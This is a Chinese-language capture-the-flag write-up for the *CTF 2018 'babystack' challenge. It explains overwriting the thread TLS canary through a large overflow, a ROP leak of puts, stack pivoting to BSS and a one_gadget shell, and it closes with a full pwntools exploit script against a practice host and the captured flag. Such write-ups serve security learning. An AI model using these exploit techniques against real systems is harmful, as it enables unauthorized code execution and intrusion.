【Star Ctf 2018】babystack
收获
当溢出长度够大且程序创建了子线程时,可以通过修改 TLS 结构体中的
stack_guard
来控制 CanaryGDB 进行多线程的调试方法
通过
read()
将 one_gadget 写到 BSS 段上,然后利用栈迁移执行 one_gadget如果发现成功构造
system("/bin/sh")
后仍出现错误,尝试使用 one_gadget 或者 ret2syscall 构造execve("/bin/sh", 0, 0)
来 getshell
思路
查看程序保护:
已知 Glibc 版本为 2.27
尝试运行:
IDA 下分析:
程序通过 pthread_create(newthread, 0LL, start_routine, 0LL);
创建了一个线程
注意,关于线程函数的一点说明:
pthread_create
用于创建一个线程,pthread_join
使一个线程等待另一个线程结束如果没有
pthread_join
的话,主线程会很快结束从而使整个进程结束,创建的线程还没有机会执行整个线程就已经结束了使用了
pthread_join
后,主线程会一直等待,直到等待的线程结束后主线程才会结束,使创建的线程有机会执行
线程从 start_routine()
函数开始执行:
首先通过 sub_400906()
获取用户输入,这个输入表示我们想要发送多少字节的数据:
这里的 atol()
函数将我们输入的字符串转换成一个长整数,返回给 v2
如果 v2 <= 0x10000
,就调用 sub_400957(0LL, s, v2);
让我们向 s
中输入数据
注意到 memset(s, 0, 0x1000uLL);
为 s
初始化的空间长度为 0x1000
,远远小于 0x10000
,因此是存在溢出的
这里溢出的长度非常大,我们可以覆盖很多内容
由于 Canary 的生成是在程序的函数入口处从 GS 段(32 位)或 FS 段(64 位)内获取一个随机值,可以在 IDA 中看到对应位置:
栈上的 Canary 的值其实来自于 TLS(Thread Local Storage),在 64 位程序中,TLS 由 FS 寄存器指向,因此这里的 fs:28h
其实是 Canary 在 TLS 中的偏移
当程序创建线程的时候,会顺便创建一个 TLS 用来存储线程私有的数据,该 TLS 也会存储 Canary 的值,而 TLS 会保存在栈的高地址处 (这也是为什么说同一个进程中的不同线程的 Canary 是相同的)
因此,我们只要覆盖 TLS 中 Canary 的值,那么整个程序的 Canary 的值就是由我们来定的了
接下来就是动态调试确定偏移量了
注意,这里涉及到多线程,需要进行多线程的 GDB 动态调试,如果不熟悉的话,可以看看本站《GDB的基础和使用》一文中的《pthread 多线程调试》部分
为了便于我们调试,我们首先在子线程的 start_routine()
中下好断点:
b *0x4009E7
GDB 就自动调试到子线程中了,一直到 sub_400906()
让我们输入长度时,输入大一点,我这里输入 0x3000
但是发现好像第二次在 sub_400957(0, s, v2);
中的输入被跳过了
由于我们也没办法输入回车符、换行符,因此用脚本来测试
io.recvuntil(b"How many bytes do you want to send?\n")
io.sendline(str(0x3000))
gdb.attach(io)
pause()
io.sendline(b'aaaaaaaa')
进入调试后,我们首先需要将调试的线程切换到子线程:
(gdb) thread 2
然后正常调试发送 payload,查看栈中的布局:
我们输入的数据在 0x7f97df1fdee0
地址处
GDB 获取子线程的 TLS 在栈上的首地址:
(gdb) x/x pthread_self()
由于 Canary 在 TLS 中偏移 0x28
的位置:
于是我们输入的位置距离 TLS 中 Canary 的位置:(0x7f97df1ff700 + 0x28) - 0x7f97df1fdee0 = 0x1848
字节
因此我们至少需要溢出 0x1848 + 0x8 = 0x1850
字节
虽然程序没有开 PIE,但也没有 system()
和 b'/bin/sh'
,因此我们还是需要通过 libc 偏移进行计算,这里选择先使用 puts_plt_addr
输出 puts_got_addr
泄露 puts()
的真实地址
同时,这里只有一次机会
反正我尝试让程序执行流回到
start_routine()
或者main()
后,在第二次发送 payload 时都会导致程序崩溃
因此,最后选择首先通过 read()
将 system("/bin/sh")
写到一个可写入的地方,我这里选择的是 BSS 段首地址的下一地址 target_addr
处
然后利用 leave; ret
指令实现栈迁移
其中 leave
指令将 EBP 迁移到 target_addr - 8
的地方(即:BSS 段的首地址处),由于出栈操作使 RSP + 8 让 RSP 指向 target_addr
的位置
然后通过 ret
指令执行我们写在 BSS 段上的 system("/bin/sh")
其实只要保证
read()
写入的地方在 EBP 迁移过去的地址的下一地址处即可
但实际操作时发现,我们确实已经成功构造了 system("/bin/sh")
但是会在 do_system()
中发生段错误,导致无法 getshell
暂时不知道错误发生的原因
但是通过 one_gadget 执行 execve("/bin/sh", 0, 0)
是可以 getshell 的
这几个都尝试了一下,发现 one_gadget_libc = 0x4f322
是可以的
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF('./bs')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF('/opt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./bs")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn", 26929)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
bss_start = elf.bss()
print("bss_start -->", bss_start)
target_addr = bss_start + 0x8
print("target_addr -->", target_addr)
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
read_plt = elf.plt["read"]
puts_got_addr = elf.got["puts"]
puts_plt_addr = elf.plt["puts"]
read_plt_addr = elf.plt["read"]
offset = 0x1850
io.recvuntil(b"How many bytes do you want to send?\n")
io.sendline(str(offset)) # 构造 payload 至少需要 0x1850 的长度
payload = b'a' * 0x1008 # 填充 0x1008 个垃圾数据到达 Canary
payload += p64(0xdeadbeef) # 0xdeadbeef 是被我们修改后的 Canary
payload += p64(target_addr - 0x8) # 当前 rbp 的位置,填写栈迁移的地址
payload += p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(target_addr) + p64(0) + p64(read_plt_addr)
payload += p64(leave_ret)
payload = payload.ljust(0x1848, b"a") # 长度填充到 0x1848 到达 TLS 中 Canary 的位置
payload += p64(0xdeadbeef) # 修改 TLS 中的 stack_guard,也就是 Canary
# debug()
io.send(payload) # payload 长度刚好 0x1850,因此不要用 sendline
io.recvuntil(b"It's time to say goodbye.\n")
puts_addr = u64(io.recv()[:6].ljust(8, b'\x00'))
print("puts_addr -->", hex(puts_addr))
one_gadget_libc = 0x4f322
libcbase = puts_addr - libc.symbols["puts"]
one_gadget_addr = libcbase + one_gadget_libc # 根据 libc 偏移计算 one_gadget 真实地址
system_addr = libcbase + libc.symbols["system"]
bin_sh_addr = libcbase + next(libc.search(b'/bin/sh'))
print("system_addr -->", hex(system_addr))
print("bin_sh_addr -->", hex(bin_sh_addr))
payload = p64(one_gadget_addr)
# payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
debug()
io.sendline(payload)
# 与远程交互
io.interactive()
结果
flag{4f062841-5776-44e5-b0fc-adab7593184b}